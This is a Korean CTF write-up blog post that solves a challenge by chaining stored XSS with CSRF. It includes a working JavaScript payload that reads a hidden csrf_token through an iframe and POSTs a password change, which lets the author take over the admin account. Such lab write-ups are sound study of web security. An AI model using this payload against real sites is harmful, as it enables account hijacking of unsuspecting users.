Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- blind sql injection
- CTF
- 세션
- JWT
- Los
- lord of sql injection
- XSS
- JS
- lord of sqli
- css
- sql injection
- sql injection point
- 웹개발
- union sql injection
- 게시판 만들기
- MySQL
- csrf
- Reflected Xss
- file upload
- Python
- php
- 모의해킹
- 과제
- 로그인
- Error based sql injection
- 쿠키
- cookie 탈취
- cors
- 로그인페이지
- Cross Site Request Forgery
Archives
- Today
- Total
Almon Dev
ctf 풀이 (GET Admin 3) 본문
ctf 문제 풀이
GET Admin 3
풀이
1. CSRF 취약점 찾기
문제에서 admin 계정을 탈취하라고 합니다. 그렇다면 비밀번호 변경 기능이 CSRF 취약점이 있는지 확인합니다.
마이페이지의 수정 기능에 인증정보가 포함되지 않는 것 같습니다.
그런데 요청값을 보니 입력한 적 없는 token이 포함되어 있습니다.
아무래도 마이페이지에 접근할 때 자동으로 form태그에 hidden 타입으로 생성되어 있는 것 같습니다.
GET 메서드도 확인해 봤지만 불가능했습니다.
2. 관리자 계정 탈취하기
그렇다면 csrf token을 탈취한 뒤에 POST 메서드로 요청을 보내면 CSRF 공격이 가능할 것 같습니다.
그러기 위해서는 우선 XSS 취약점을 찾아야 합니다.
게시판 글 작성에서 JS를 삽입해 CSRF Token을 탈취한 뒤 CSRF 공격을 하도록 하겠습니다.
iframe을 이용해서 마이페이지에 접근하고 csrf_token을 탈취한 뒤
fetch를 이용해서 post요청을 보내 비밀번호를 변경하는 스크립트입니다.
const frame = document.querySelector('#frame');
frame.onload = () => {
const frameDom = frame.contentDocument;
const token = frameDom.querySelector('input[name="csrf_token"]').value;
const url = 'http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php';
fetch(url, {
method : 'POST',
headers : {
'Content-Type' : 'application/x-www-form-urlencoded',
},
body : `pw=12345&csrf_token=${token}`,
})
.then(res => res.text())
.then(res => console.log(res))
}
게시글에 접근하면 비밀번호가 변경되는것을 확인할 수 있습니다.
이제 관리자봇이 해당 게시글에 접근하도록 하면 됩니다.
관리자 계정에 로그인합니다.
'모의해킹 > 모의해킹' 카테고리의 다른 글
파일 업로드 / 다운로드 취약점 (feat. LFI) (2) | 2025.02.15 |
---|---|
CSRF 정리 (feat. SOP/CORS) (0) | 2025.01.16 |
ctf 풀이 (GET Admin 2) (0) | 2025.01.13 |
ctf 풀이 (GET Admin 1) (0) | 2025.01.13 |
모의해킹 공부 12주차 (CSRF) (0) | 2025.01.11 |